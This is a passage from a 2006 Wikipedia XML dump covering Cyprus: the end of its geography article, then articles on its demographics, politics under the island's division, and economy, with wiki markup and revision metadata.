While the Troodos Mountains are a massif formed of molten igneous rock, the Kyrenia Range is a narrow limestone ridge that rises suddenly from the plains. Its easternmost extension becomes a series of foothills on the [[Karpass Peninsula]]. That peninsula points toward Asia Minor, to which Cyprus belongs geologically.

Even the highest peaks of the Kyrenia Range are hardly more than half the height of the great dome of the Troodos massif, [[Mount Olympus (Cyprus)|Mount Olympus]] (1,952 meters), but their seemingly inaccessible, jagged slopes make them considerably more spectacular. [[United Kingdom|British]] writer [[Lawrence Durrell]], in Bitter Lemons, wrote of the Troodos as &quot;an unlovely jumble of crags and heavyweight rocks&quot; and of the Kyrenia Range as belonging to &quot;the world of [[Gothic_art|Gothic]] [[Europe]], its lofty crags studded with crusader castles.&quot;

Rich copper deposits were discovered in antiquity on the slopes of the Troodos. Geologists speculate that these deposits may have originally formed under the Mediterranean Sea, as a consequence of the upwelling of hot, mineral-laded water through a zone where plates that formed the ocean floor were pulling apart.

==Drainage==

Deforestation over the centuries has damaged the island's drainage system and made access to a year-round supply of water difficult. A network of winter rivers rises in the Troodos Mountains and flows out from them in all directions. The Yialias River and the [[Pedieos|Pedhieos River]] flow eastward across the Mesaoria into Famagusta Bay; the Serraghis River flows northwest through the [[Morphou]] plain. All of the island's rivers, however, are dry in the summer. An extensive system of dams and waterways has been constructed to bring water to farming areas.

The Mesaoria is the agricultural heartland of the island, but its productiveness for wheat and barley depends very much on winter rainfall; other crops are grown under irrigation. Little evidence remains that this broad, central plain, open to the sea at either end, was once covered with rich forests whose timber was coveted by ancient conquerors for their sailing vessels. The now-divided capital of the island, Nicosia, lies in the middle of this central plain. 


== Natural Vegetation ==
Notwithstanding its small size, Cyprus has a variety of natural vegetation. This includes forests of hardwood, evergreen and broadleaved trees such as pinus latepensis, cedar, cypressus and oak. According to [[Eratosthenes]] ([[3rd Century BC]]), a Greek botanist, most of Cyprus, even Messaoria, was heavily forested in antiquity, and considerable remnants of these forests survive on the Troodos and Kyrenia ranges, and locally at lower altitudes. About 17% of the whole island is being classified as woodland. Where the forest has been destroyed, tall shrub communities of arbutus and rachne, pistacia terebinthus, olea europea, quercus coccifera and styrax officinalis may survive, but such maquis is uncommon. Over most of the island untilled ground bears a grazed covering of garigue, largely composed of low bushes of cistus, genista sphacelata calycotoime villosa, lithospermum hispidulum, phaganalon rupestre and, locally, pistacia lentiscus. Where grazing is excessive this covering is soon reduced, and an impoverished batha remains, consisting principally of thymus capitatus, sarcopoterium spinosum, and a few stunted herbs.

==Climate==
[[Image:Cyprus.A2002292.1045.500m.jpg|thumb|right|300px|Dust storms moving from Middle East countries over Cyprus, October 19, 2002]]

The [[Mediterranean climate]], warm and rather dry, with rainfall mainly between November and March, favors agriculture. In general, the island experiences mild wet winters and dry hot summers. Variations in temperature and rainfall are governed by altitude and, to a lesser extent, distance from the coast. Hot, dry summers from mid-May to mid-September and rainy, rather changeable winters from November to mid-March are separated by short [[autumn]] and [[spring]] seasons.

In summer the island is mainly under the influence of a shallow trough of low pressure extending from the great continental depression centred over [[southwest Asia]]. It is a season of high temperatures with almost cloudless skies. 

In winter Cyprus is near the track of fairly frequent small depressions which cross the [[Mediterranean Sea]] from west to east between the continental anticyclone of [[Eurasia]] and the generally low pressure belt of [[North Africa]]. These depressions give periods of disturbed weather usually lasting for a day or so and produce most of the annual precipitation, the average rainfall from December to February being about 60% of the average annual total precipitation for the island as a whole, which is 500 mm.

The higher mountain areas are cooler and moister than the rest of the island. They receive the heaviest annual rainfall, which may be as much as 1,000 millimeters. Sharp frost also occurs in the higher districts, which are usually blanketed with snow during the first months of the year. Precipitation increases from 450 millimetres up the south-western windward slopes to nearly 1,100 millimetres at the top of the Troodos massif. The narrow ridge of the Kyrenia range, stretching 160 km from west to east along the extreme north of the island produces a relatively small increase in rainfall of around 550 millimetres along its ridge at an elevation of 1,000 metres. Plains along the northern coast and in the [[Karpass Peninsula]] area average 400 to 450 millimeters of annual rainfall. The least rainfall occurs in the Mesaoria, with 300 to 400 millimeters a year. Variability in annual rainfall is characteristic for the island, however, and droughts are frequent and sometimes severe. Statistical analysis of rainfall in Cyprus reveals a decreasing trend of rainfall amounts in the last 30 years. 
Earthquakes, usually not destructive, occur from time to time.

Rainfall in the warmer months contributes little or nothing to water resources and agriculture. Autumn and winter rainfall, on which agriculture and water supply generally depend, is somewhat variable from year to year. 

Summer temperatures are high in the lowlands, even near the sea, and reach particularly uncomfortable readings in the [[Mesaoria]]. The mean daily temperature in July and August ranges between 29 °C on the central plain to 22 °C on the Troodos mountains, while the average maximum temperature for these months ranges between 36 °C and 27 °C respectively Because of the scorching heat of the lowlands, some of the villages in the Troodos have developed as resort areas, with summer as well as winter seasons. The mean annual temperature for the island as a whole is about 20 °C. The amount of sunshine the island enjoys enhances the tourist industry. On the Mesaoria in the eastern lowland, for example, there is bright sunshine 75 percent of the time. During the four summer months, there is an average of eleven and one-half hours of sunshine each day, and in the cloudiest winter months there is an average of five and one-half hours per day.

Winters are mild with a mean January temperature of 10 °C on the central plain and 3 °C on the higher parts of the Troodos mountains and with an average minimum temperature of 5 °C and 0 °C respectively.

Relative humidity of the air is on average between 60% and 80% in winter and between 40% and 60% in summer with even lower values over inland areas around midday. Fog is infrequent and visibility is generally very good. [[Sunshine]] is abundant during the whole year and particularly from April to September when the average duration of bright sunshine exceeds 11 hours per day.

Winds are generally light to moderate and variable in direction. Strong winds may occur sometimes, but gales are infrequent over Cyprus and are mainly confined to exposed coastal areas as well as areas at high elevation

==Area and boundaries==
'''Area:'''
&lt;br&gt;''total:''
9,250 km² (of which 3,355 km² are under the administration of the [[non-recognized nations| de facto (unrecognized)]] [[Turkish Republic of Northern Cyprus]])
&lt;br&gt;''land:''
9,240 km²
&lt;br&gt;''water:''
10 km²

'''Area - comparative:'''
about 0.6 times the size of [[Connecticut]] or 0.7 times the size of [[Northern Ireland]]

'''Land boundaries:'''
0 km

'''Coastline:'''
648 km

'''Maritime claims:'''
&lt;br&gt;''continental shelf:''
200-m depth or to the depth of exploitation
&lt;br&gt;''territorial sea:''
12 nm (22.4 km)


'''Elevation extremes:'''
&lt;br&gt;''lowest point:''
Mediterranean Sea 0 m
&lt;br&gt;''highest point:''
Olympus 1,953 m

==Resource and land use==
'''Natural resources:'''
[[copper]], [[pyrites]], [[asbestos]], [[gypsum]], [[timber]], [[salt]], [[marble]], [[clay earth pigment]]

'''Land use:'''
&lt;br&gt;''arable land:''
12%
&lt;br&gt;''permanent crops:''
5%
&lt;br&gt;''permanent pastures:''
0%
&lt;br&gt;''forests and woodland:''
13%
&lt;br&gt;''other:''
70% (1993 est.)

'''Irrigated land:'''
400 km² (1999 UN est.)

==Environmental concerns==
'''Natural hazards:'''
moderate [[earthquake]] activity

'''Environment - current issues:'''
[[water]] resource problems (no natural reservoir catchments, seasonal disparity in rainfall, [[saltwater intrusion|sea water intrusion]] to island's largest [[aquifer]], increased [[soil salination|salination]] in the north); water pollution from sewage and industrial wastes; coastal degradation; loss of wildlife habitats from urbanization

'''Environment - international agreements:'''
&lt;br&gt;''party to:''
Air Pollution, Biodiversity, Climate Change, Climate Change-[[Kyoto Protocol]], Endangered Species, Environmental Modification, Hazardous Wastes, Law of the Sea, Marine Dumping, Nuclear Test Ban, Ozone Layer Protection, Ship Pollution
&lt;br&gt;''signed, but not ratified:''
Air Pollution-Persistent Organic Pollutants

==Sources==
*[http://lcweb2.loc.gov/frd/cs/cshome.html Library of Congress, Country Studies]
{{CIAfb}}
*[http://www.cyprus.gov.cy/cyphome/govhome.nsf/LookupIDs/300D6935EC884FBCC2256A71003972F4?OpenDocument&amp;languageNo=1 Official Cyprus Government Web Site]

{{Europe in topic|Geography of}}
{{Asia in topic|Geography of}}

[[Category:Geography of Cyprus| ]]
[[Category:Geography by country|Cyprus]]

[[el:Γεωγραφία της Κύπρου]]
[[fr:Géographie de Chypre]]
[[he:גאוגרפיה של קפריסין]]
[[ja:キプロス島]]
[[pt:Geografia do Chipre]]
[[sk:Cyprus_%28ostrov%29]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Cyprus</title>
    <id>5596</id>
    <revision>
      <id>35872737</id>
      <timestamp>2006-01-19T22:57:58Z</timestamp>
      <contributor>
        <username>Darwinek</username>
        <id>107928</id>
      </contributor>
      <minor />
      <comment>/* ''References'' */</comment>
      <text xml:space="preserve">[[Greek Cypriot|Greek]] and [[Turkish Cypriots]] share many customs but maintain distinct identities based on religion, language, and close ties with their respective motherlands. [[Greek language|Greek]] is predominantly spoken in the south, where the majority are Greek Cypriots, [[Turkish language|Turkish]] in the north, where the majority are Turkish Cypriots, and [[English language|English]] is widely used. [[Cyprus]] has a well-developed system of primary and secondary education. The majority of Cypriots earn their higher education at Greek, Turkish, British, or American universities, while there are also sizeable emigrant communities in the [[United Kingdom]] and [[Australia]]. Private colleges and state-supported universities have been developed by both the Turkish and Greek communities. 

The Greek Cypriot community  adheres to the Autocephalous Greek Orthodox [[Church of Cyprus]] and the Turkish Cypriot community adheres to Islam. The religious groups of Armenians, Maronites and Latins, in accordance with [[1960]] constitution, opted to belong to the Greek Cypriot community.


'''Map of ethnic distribution (2002)'''

http://mondediplo.com/maps/cyprusmdv49

(External link to the English version of [http://www.monde-diplomatique.fr Le Monde Diplomatique])

'''Population:'''
818,200 (End of 2003 -  including estimates for Turkish Cypriots)

'''Population in the Government controlled Area:'''
730,400 (End of [[2003]])
'''Age structure ([[2002]] - 2003):'''
&lt;br&gt;''0-14 years:''
20.9% (male 76,600; female 72,600)
&lt;br&gt;''15-64 years:''
67.3% (male 236,600; female 245,200)
&lt;br&gt;''65 years and over:''
11.8% (male 37,700; female 84,400)

'''Population growth rate:'''
1.6% (2003)

'''Birth rate:'''
11.2 births/1,000 population (2003)

'''Death rate:'''
7.2 deaths/1,000 population (2003)

'''Net migration rate:'''
0.44 migrant(s)/1,000 population (2000 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.05 male(s)/female
&lt;br&gt;''under 15 years:''
1.05 male(s)/female
&lt;br&gt;''15-64 years:''
1.02 male(s)/female
&lt;br&gt;''65 years and over:''
0.77 male(s)/female
&lt;br&gt;''total population:''
1 male(s)/female (2000 est.)

'''Infant mortality rate:'''
4.1 deaths/1,000 live births (2003)

'''Life expectancy at birth:'''
&lt;br&gt;''total:''
79.2 years
&lt;br&gt;''male:''
77.0 years
&lt;br&gt;''female:''
81.4 years ([[2000]] est.)

'''Total fertility rate:'''
1.5 (2003)

'''Nationality:'''
&lt;br&gt;''noun:''
Cypriot(s)
&lt;br&gt;''adjective:''
Cypriot

'''Ethnic groups:'''
Greek 78% (99.5% of the Greeks live in the Greek Cypriot area; 0.5% of the Greeks live in the Turkish Cypriot area), Turkish 18% (1.3% of the Turks live in the Greek Cypriot area; 98.7% of the Turks live in the Turkish Cypriot area), other 4% (99.2% of the other ethnic groups live in the Greek Cypriot area; 0.8% of the other ethnic groups live in the Turkish Cypriot area)

'''Religions:'''
[[Greek Orthodox]] 78%, [[Islam|Muslim]] 18%, [[Maronite]] (an [[Eastern Catholic Church]] in full union with the [[Pope]]), [[Armenian Apostolic]], [[Latin Rite|Latin Catholic]] and other 4%

'''Languages:'''
Greek, Turkish, English

'''Literacy (2003):'''
&lt;br&gt;''definition:''
Has completed primary education (population 15+)
&lt;br&gt;''total population:''
89.4%
&lt;br&gt;''male:''
93.1%
&lt;br&gt;''female:''
86%

== ''References'' ==
[http://www.mof.gov.cy/mof/cystat/statistics.nsf/populationcondition_en/populationcondition_en?OpenDocument Statistical Service of Cyprus: Population and Social Statistics]

:''See also :'' [[Cyprus]]

[[Category:Demographics by country|Cyrpus]]
[[Category:Cypriot society]]

[[es:Demografía de Chipre]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Cyprus</title>
    <id>5597</id>
    <revision>
      <id>39374474</id>
      <timestamp>2006-02-12T19:20:22Z</timestamp>
      <contributor>
        <ip>83.121.2.141</ip>
      </contributor>
      <comment>disambiguation from [[FAO]] to [[Food and Agriculture Organization]] by the [[User:DabMachine|DabMachine]]</comment>
      <text xml:space="preserve">{{Politics of Cyprus}}
:''This entry is about '''politics of Cyprus''', especially the island of Cyprus and the Republic of Cyprus. For information on politics of Northern Cyprus, see the [[Politics of Northern Cyprus]].''
[[Cyprus]] is a divided island. Since [[1974]], the Greek Cypriot-led government (The [[Republic of Cyprus]]) has controlled the south two thirds, and the [[seperatist]] [[TRNC|Turkish Cypriot authorities]] the northern one-third. The Government of the [[Republic of Cyprus]] has continued as the sole internationally-recognized authority on the island, though in practice its power extends only to the Greek Cypriot-controlled area.

==United Cyprus==
The [[1960]] Cypriot [[Constitution]] provided for a [[presidential system]] of government with [[separation of powers|independent]] [[executive (government)|executive]], [[legislative]], and [[judicial]] branches, as well as a complex system of checks and balances including a weighted power-sharing ratio designed to protect the interests of the [[Turkish Cypriots]]. The executive, for example, was headed by a [[Greek Cypriot]] president and a Turkish Cypriot vice president, elected by their respective communities for five-year terms and each possessing a right of veto over certain types of [[legislation]] and executive decisions.

The House of Representatives was elected on the basis of separate voters' rolls, but since [[1974]], the Turkish Cypriot community's seats in the House have been vacant. Originally, there were two Communal Chambers, but the Greek Cypriot Chamber was abolished in the [[1960s]] and most of its functions transferred to the Greek Cypriot Ministry of Education. 

==The secession of Northern Cyprus==
In [[1974]], following a coup sponsored by the [[Greek military junta of 1967-1974]] and executed by the [[Cypriot National Guard]] (with the intention of [[Foreign relations of Greece#Terms#Enosis|annexing Cyprus]] to [[Greece]]) and the [[Turkish Invasion of Cyprus|invasion of troops from Turkey]] (citing its authority as one of the three guarantor powers established by the Constitution), the Turkish Cypriots formally set up their own institutions with a popularly-elected [[seperatist]] president and a Prime Minister, responsible to the National Assembly, exercising joint executive powers.  In [[1983]], the Turkish Cypriots declared an independent &quot;Turkish Republic of Northern Cyprus&quot; (TRNC), which has never been [[non-recognized nations|recognized by any country]] except [[Turkey]]. In [[1985]], they adopted a constitution and held elections--an arrangement recognized only by Turkey.  For information petaining to this, see '''[[Politics of Northern Cyprus]]'''. 

== Political conditions ==
The division of Cyprus has remained an intractable political problem plaguing relations between [[Greece]] and [[Turkey]], and drawing in [[NATO]], of which both Greece and Turkey are members, and latterly the [[European Union]], which has admitted Greece and Cyprus and which Turkey has been seeking to join for over twenty years.

The most recent developments on the island have included the reopening of the [[Green Line (Cyprus)|border]] between the two sides, and the failure of an attempt to reunify the island under the terms of a [[Annan Plan|United Nations-sponsored initiative]] guided by the UN [[Secretary-General]], [[Kofi Annan]]. 

None of the Greek Cypriot parties has been able to elect a president by itself or dominate the 56-seat House of Representatives. The 165,000 Greek Cypriot [[refugees]] are also a potent political force, along with the independent [[Orthodox Church of Cyprus]], which has some influence in temporal as well as ecclesiastical matters.

The working of the Cypriot state was fraught with difficulty from the very early days after independence in [[1960]], and intercommunal tension and occasionally violence was, regrettably, a feature of the first decade of Cypriot independence. In 1963, the Cypriot president, [[Makarios III|Makarios]], proposed 13 amendments to the Constitution in order to solve intractable difficulties in filling government posts. Whether this was an attempt to foster increasing unity by dissolving legal boundaries between communities, or to effect domination of the Turkish Cypriots by the majority Greek Cypriots, remains controversial. Whatever Makarios's intentions, violence erupted between Greek and Turkish Cypriots in December 1963 and by the following year the [[United Nations]] agreed to undertake peacekeeping operations ([[UNFICYP]]).

[[UN]]-sponsored negotiations to develop institutional arrangements acceptable to the Greek Cypriot and Turkish Cypriot communities began in [[1968]]; several sets of negotiations and other initiatives followed.

After the [[1974]] [[Turkish invansion in Cyprus|invasion]] following a Greek [[junta]]-based [[coup d'etat|coup]] attempt, Makarios secured international recognition of his Greek Cypriot government as the sole legal authority on Cyprus, which has proved to be a very significant strategic advantage for the Greek Cypriots in the decades since. Negotiations continued in the years after 1974 with varying degrees of regularity and success, but none resulted in a full reunification. 
On [[15 November]] [[1983]] the Turkish Cypriot North declared independence and the formation of the [[Turkish Republic of Northern Cyprus]] (TRNC), which has been [[non-recognized nations|recognized]] only by [[Turkey]]. Both sides publicly call for the resolution of intercommunal differences and creation of a new [[federation|federal system]] (Greek Cypriot position) or [[confederation|confederate system]] (Turkish Cypriot position) of government.

Following the [[1998]] presidential election, [[Glafkos Klerides|Klerides]] tried to form a government of national unity, by including six ministers from Clerides' [[Democratic Rally]] party, two ministers from the [[Movement for Social Democracy|EDEK]] ([[socialist party|socialist]]) party, three from the [[Democratic Party (Cyprus)|Democratic Party]] (who broke ranks with party leader [[Spyros Kyprianou]]) and one from the [[United Democrats]]. However national unity government was not achieved because leftist wing party [[AKEL]] and Democratic Party rejected that offer and preferred to remain oppositioning parties. Under this administration negotiations continued in earnest in order to secure a deal before Cypriot admission to the [[European Union]] in [[2004]], but Clerides was defeated in the 2003 [[Elections in Cyprus|presidential elections]] by relative hard-liner [[Tassos Papadopoulos]], who saw out the negotiations on the [[Annan Plan]] and the [[Cyprus reunification referendum, 2004|subsequent referendum]]. While the plan was accepted on the Turkish Cypriot side of the Green Line, the Greek Cypriots rejected it by a large majority. Accordingly Cyprus remained divided on entry to the EU, and although some trade restrictions were lifted on the north to alleviate economic isolation for the Turkish Cypriots, further negotiations have not been a priority. There is now a focus on convincing Turkey to recognise the government of Cyprus, a requirement for Turkish admission advocated most strongly by Cyprus and [[France]].

==Constitution==
The [[16 August]] [[1960]] constitution envisioned power sharing between the Greek Cypriots and [[Turkish Cypriots]].  Efforts to ammends the constitution sparked the intercommunal strife in 1963.  This constitution is still in force, though there is no Turkish Cypriot presence in the Cypriot government.  

==Executive branch==
{{office-table}}
|President
|[[Tassos Papadopoulos]]
|[[Democratic Party (Cyprus)|DIKO]]
|[[1 March]] [[2003]]
|-
|Vice-president
|vacant
|
|
|}
The president, elected by popular vote for a five-year term, is both the chief of state and head of government; post of vice president is currently vacant; under the 1960 constitution, the post is reserved for a Turkish Cypriot. The Council of Ministers is appointed jointly by the president and vice president.

==Legislative branch==
The [[House of Representatives of Cyprus|House of Representatives]] (''Vouli Antiprosópon/Temsilciler Meclisi'') has 59 members elected for a five year term, 56 Greek Cypriot members  by [[proportional representation]] and 3 observer members representing the [[Maronite]], [[Roman-Catholic]] and [[Armenians|Armenian]] minorities. 24 seats are allocated to the Turkish community. 

==Political parties and elections==
{{elect|List of political parties in Cyprus|Elections in Cyprus}}
{{Cyprus presidential election, 2003}}
{{Cyprus legislative election, 2001}}

==Political pressure groups and leaders==
Confederation of Cypriot Workers or SEK (pro-West); Confederation of Revolutionary Labor Unions or Dev-Is; Pan-Cyprian Labor Federation or PEO (Communist controlled)

==Administrative divisions==
6 districts; [[Famagusta]] (Ammochostos), [[Kyrenia]], [[Larnaca]], [[Limassol]] (Lemesos), [[Nicosia]] (Lefkosia), [[Paphos]]; note - occupied area's administrative divisions include Kyrenia, all but a small part of Famagusta (Ammochostos), and small parts of Lefkosia (Nicosia) and Larnaca.

==International organization participation==
[[Commonwealth of Nations|C]], [[CCC]], [[Council of Europe|CE]], [[EBRD]], [[ECE]], [[European Patent Organisation|EPO]], [[European Union|EU Member]], [[Food and Agriculture Organization|FAO]], [[G-77]], [[IAEA]], [[IBRD]], [[ICAO]], [[International Criminal Court|ICC]], [[International Chamber of Commerce|ICC]], [[ICFTU]], [[IDA]], [[IFAD]], [[IFC]], [[IFRCS]] (associate), [[IHO]], [[International Labour Organization|ILO]], [[IMF]], [[IMO]], [[Inmarsat]], [[Intelsat]], [[Interpol]], [[IOC]], [[IOM]], [[ISO]], [[ITU]], [[NAM]](member since 1961, observer after 2004), [[OAS]] (observer), [[OPCW]], [[Organization for Security and Co-operation in Europe|OSCE]], [[PCA]], [[UN]], [[UNCTAD]], [[UNESCO]], [[UNIDO]], [[UPU]], [[WCL]], [[WFTU]], [[WHO]], [[WIPO]], [[WMO]], [[WToO]], [[WTrO]]

==See also==
*[[Cyprus]]
*[[Turkish Republic of Northern Cyprus]]

{{Europe_in_topic|Politics of}}

[[Category:Politics of Cyprus| ]]

[[bg:&amp;#1044;&amp;#1098;&amp;#1088;&amp;#1078;&amp;#1072;&amp;#1074;&amp;#1085;&amp;#1086; &amp;#1091;&amp;#1089;&amp;#1090;&amp;#1088;&amp;#1086;&amp;#1081;&amp;#1089;&amp;#1090;&amp;#1074;&amp;#1086; &amp;#1085;&amp;#1072; &amp;#1050;&amp;#1080;&amp;#1087;&amp;#1098;&amp;#1088;]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Cyprus</title>
    <id>5598</id>
    <revision>
      <id>38670159</id>
      <timestamp>2006-02-07T21:50:03Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/198.237.180.61|198.237.180.61]] ([[User talk:198.237.180.61|talk]]) to last version by KRBN</comment>
      <text xml:space="preserve">'''Economy - overview:'''
Economic affairs in [[Cyprus]] are dominated by the division of the country into the southern  area controlled by the Cyprus Government and the [[TRNC|northern Turkish Cypriot-administered area]]. The Greek Cypriot economy is prosperous but highly susceptible to external shocks. Erratic growth rates in the [[1990s]] reflect the economy's vulnerability to swings in tourist arrivals, caused by political instability on the island and fluctuations in economic conditions in [[Western Europe]]. Economic policy in the south is focused on meeting the criteria for admission to the [[European Union]]. As in the Turkish sector, water shortage is a growing problem, and several [[desalination plant]]s are planned. The Turkish Cypriot economy has about one-fifth the population and one-third the per capita GDP of the south. Because it is recognized only by [[Turkey]], it has had much difficulty arranging foreign financing, and foreign firms have hesitated to invest there. The economy remains heavily dependent on agriculture and government service, which together employ about half of the work force. Moreover, the small, vulnerable economy has suffered because the [[Turkish lira]] is [[legal tender]]. To compensate for the economy's weakness, Turkey provides direct and indirect aid to tourism, education, industry, etc.

===Economy--in greater depth===

Cyprus has an open, free-market, service-based economy with some light [[manufacturing]]. The Cypriots are among the most prosperous people in the [[Mediterranean Sea|Mediterranean]] region. Internationally, Cyprus promotes its geographical location as a &quot;bridge&quot; between West and East, along with its educated [[English language|English-speaking]] population, moderate local costs, good airline connections, and telecommunications.

Throughout the post-Independence period, Cyprus has had a record of successful economic performance, reflected in rapid growth, full employment conditions and external and internal stability. The underdeveloped economy, inherited from Colonial Rule in [[1960]], has been transformed into a modern economy, with dynamic services, industrial and agricultural sectors and advanced physical and social infrastructure. 

Cyprus is classified among the high-income countries, with a per capita income of CY£9,477 in [[2004]] . It has a standard of living that is even higher than some European Union member-states and the performance of the economy compares favourably with that of most EU countries. Cyprus holds 16th place worldwide in terms of per capita income. The average annual rate of growth in the past five years was about 3,8%, while inflation stood at 2,9% and unemployment at 3,4% over that period.

These achievements appear all the more striking, bearing in mind the severe economic and social dislocation created by the [[Turkish Invasion of Cyprus|Turkish invasion]] of [[1974]] and the continuing occupation of the northern part of the island by [[Turkey]]. The Turkish invasion inflicted a serious blow to the Cyprus economy and in particular to agriculture, tourism, mining and quarrying: 70 percent of the island’s rich producing resources were lost, the tourist industry lost 65 percent of its hotels and tourist accommodation, the industrial sector lost 46 percent, and mining and quarrying lost 56 percent of production. The loss of the Port of [[Famagusta]], which handled 83 percent of the general cargo, and the closure of the [[Nicosia]] International Airport, in the [[UN Buffer Zone in Cyprus|buffer zone]], were additional blows.

The success of Cyprus in the economic sphere is attributed, inter alia, to the adoption of a market oriented economic system, the pursuance of sound macroeconomic policies by the government as well as the existence of a dynamic and flexible entrepreneurship and a highly educated labour force. Moreover, the economy benefited from the close cooperation between the public sector and the social partners.

In the past 20 years, the economy has shifted from agriculture to light manufacturing and services. The service sector, including tourism, contributes 70% to the GDP and employs 62% of the labor force. Industry and construction contribute 24% and employ 25% of labor. Manufactured goods account for approximately 69% of domestic exports. Agriculture is responsible for 6% of GDP and 12% of the labor force. Potatoes and citrus are the principal export crops.

After robust growth rates in the [[1980s]] (average annual growth was 6.1%), economic performance in the [[1990s]] has been mixed: Real GDP growth was 9.7% in [[1992]], 1.7% in 1993, 6.0% in [[1994]], 6.0% in [[1995]], 1.9% in [[1996]] and 2.3% in [[1997]]. This pattern underlines the economy's vulnerability to swings in tourist arrivals (i.e., to economic and political conditions in Cyprus, [[Western Europe]], and the [[Middle East]]) and the need to restructure the economy. Declining competitiveness in tourism and especially in manufacturing will act as a drag on growth until structural changes are effected. Overvaluation of the Cypriot pound has kept inflation in check in recent years (3.5% in [[1997]]) and is forecast to continue to do so in the foreseeable future. Economic prospects are good over the long term, and real growth in [[1998]] is expected to reach 3.0%.

Trade is vital to the Cypriot economy--the island is not self-sufficient in food and has few natural resources--and the trade deficit continues to grow. Exports rose by 1.3% in 1997, while imports rose by 2.2%, resulting in a trade deficit of $2.1 billion (2.7% higher than the previous year). Cyprus must import fuels, most raw materials, heavy machinery, and transportation equipment. More than 50% of its trade is with the European Union (especially the [[UK|U.K.]]); the Middle East receives 20% of exports. Cyprus signed an [[European Union Association Agreement|Association Agreement]] with the [[European Union]] (EU) in [[1972]], which resulted in the establishment of a [[Customs Union]] between the two sides. Cyprus applied for full EU membership in [[1990]] and has since linked the [[Cyprus pound]] to the [[European Currency Unit]] (ECU). EU accession negotiations started on [[March 31]], [[1998]]. In [[1991]], Cyprus introduced a [[Value Added Tax]] (VAT), which is currently 15% in line with the EU minimum. Cyprus ratified the new world trade agreement ([[GATT]]) in [[1995]] and began implementing it fully on [[January 1]], [[1996]].

On [[May 1|May 1st]] [[2004]], Cyprus became a full member of the EU.

The economic benefits of EU accession to Cyprus, as a whole, are quite substantial. Cyprus goods and services will have access to a huge single market consisting of some of the most advanced countries in [[Europe]]. Cyprus’ participation in the Union’s internal market, an area where free movement of goods, services, persons and goods is ensured, will lead in the long term to a more efficient allocation of factors of production towards activities in which Cyprus possesses comparative advantages. This will have positive repercussions on growth and employment. 

Cyprus will have a share in the growth and development of the EU economy. It will attract investment from the EU in activities in which Cyprus possesses comparative advantages, thus accelerating the transformation of Cyprus into a regional business centre. Moreover Cyprus will benefit from increased EU financial assistance. 

In the new age of globalisation and world economic integration, in an era marked by a technological revolution, which encompasses all sectors of the economy, the key to success is competitiveness coupled with high quality manufactured goods and services and the ability to adjust quickly to the ever changing preferences of the consumers.

Cyprus has the fourth-largest [[ship registry]] in the world, with 2,758 ships and 25.5 million [[Gross Register Tonnage|gross registered tons]] (GRTs). It is an open registry and includes ships from more than 43 countries, including [[Greece]], [[Germany]], and [[Russia]].

===Export opportunities===
Cyprus has been liberalizing its trade regime by eliminating import quotas and licenses and lowering tariffs on most products as a result of its obligations under the new world trade agreement and its Customs Union agreement with the European Union. As a result, U.S. products are becoming more competitive in Cyprus and prospects for further expansion of bilateral trade ties are excellent.

Government computerization and telecommunications development, two of the priorities of the government's 5-year development plan (1994-1998), provide excellent opportunities for U.S. exports. Sales of computer-assisted design systems, new capital equipment for textile, clothing, footwear production, medical equipment, environmental equipment, and services are also expected to grow. [[USA|U.S.]] pressure resulted in the adoption of a new copyright law in 1994 and a new patent law in 1998.

===Investment climate===
In February [[1997]], the government revised its policy on foreign direct investment, permitting 100% foreign ownership in certain cases. Regulations on foreign portfolio investment in the Cyprus Stock Exchange also have been liberalized. Additionally, Cyprus passed a modern banking law in July 1997, incorporating all the provisions and directives of the EU for the prudential supervision of credit institutions.

Cyprus has concluded treaties on double taxation with 26 countries, including the U.S., and has removed exchange restrictions on current international transactions. Non-residents and foreign investors may freely repatriate proceeds from investments in Cyprus.

===Offshore sector===
The 1,049 full-fledged offshore companies--which are located in Cyprus but conduct business abroad only--qualify for various tax- and duty-free concessions. Foreign exchange earnings from offshore companies rose to $346 million in [[1997]]. There are about 40 U.S.-owned firms in Cyprus; about half operate exclusively on an offshore basis.

U.S. firms are mainly engaged in the regional marketing of [[computer]]s, computer graphics, [[telecommunications]], [[printing]] equipment, household products, and soft drinks. Since 1994, re-entry visa provisions have been streamlined and 3-year work permits have been introduced for offshore employees.

===Trade between Cyprus and the United States===
The U.S. embassy in [[Nicosia]] sponsors a popular pavilion for American products at the annual Cyprus International State Fair, hosts the Commercial Awards dinner, and organizes other events to promote U.S. products throughout the year. Total U.S. exports to Cyprus were about $700 million in 1997 (compared with $670 million in 1996), making the U.S. Cyprus' number-one supplier of total imports for the third year in a row. Exports include American tobacco and tobacco products, automatic data processing and other machinery, and cereals. Principal U.S. imports from Cyprus consist of clothing, footwear, steel tubes and pipes, dairy products, and various food items.

===Turkish Cypriot economy===
The economic disparity between the two communities is pronounced. Although the Turkish Cypriot area operates on a free-market basis, the lack of private and governmental investment, shortages of skilled labor and experienced managers, plus inflation and the devaluation of the Turkish lira (which the [[Turkish Cypriot]]s use as their currency) continue to plague the economy. A Greek-Cypriot-organized economic boycott of the Turkish Cypriot region also has negatively affected the Turkish Cypriot economy.

Turkey is, by far, the main trading partner of the &quot;T.R.N.C.,&quot; supplying 55% of imports and absorbing 48% of exports. In a landmark case, the [[European Court of Justice]] (ECJ) ruled on [[July 5]], 1994, against the British practice of importing produce from Northern Cyprus based on certificates of origin and phytosanitary certificates granted by &quot;T.R.N.C.&quot; authorities. The ECJ decision stated that only goods bearing certificates of origin from the Government of Cyprus could be recognized for trade by EU member countries. That decision resulted in a considerable decrease of Turkish Cypriot exports to the EU: from $36.4 million (or 66.7% of total Turkish Cypriot exports) in 1993 to $24.7 million in 1996 (or 35% of total exports) in 1996. Even so, the EU continues to be the &quot;T.R.N.C.'s&quot; second-largest trading partner, with a 24.7% share of total imports and 35% share of total exports.

Assistance from Turkey is the mainstay of the Turkish Cypriot economy. Under the latest economic protocol (signed [[January 3]], 1997), Turkey undertakes to provide Turkish Cypriots loans totaling $250 million for the purpose of implementing projects included in the protocol related to public finance, tourism, banking, and privatization. Fluctuation in the Turkish lira, which loses about 50% of its value against the U.S. dollar every year, continues to exert downward pressure on the Turkish Cypriot standard of living.

Turkish Cypriot seperatist authorities have instituted a free market in foreign exchange and authorize residents to hold foreign-currency denominated bank accounts. This encourages transfers from Turkish Cypriots living abroad. 

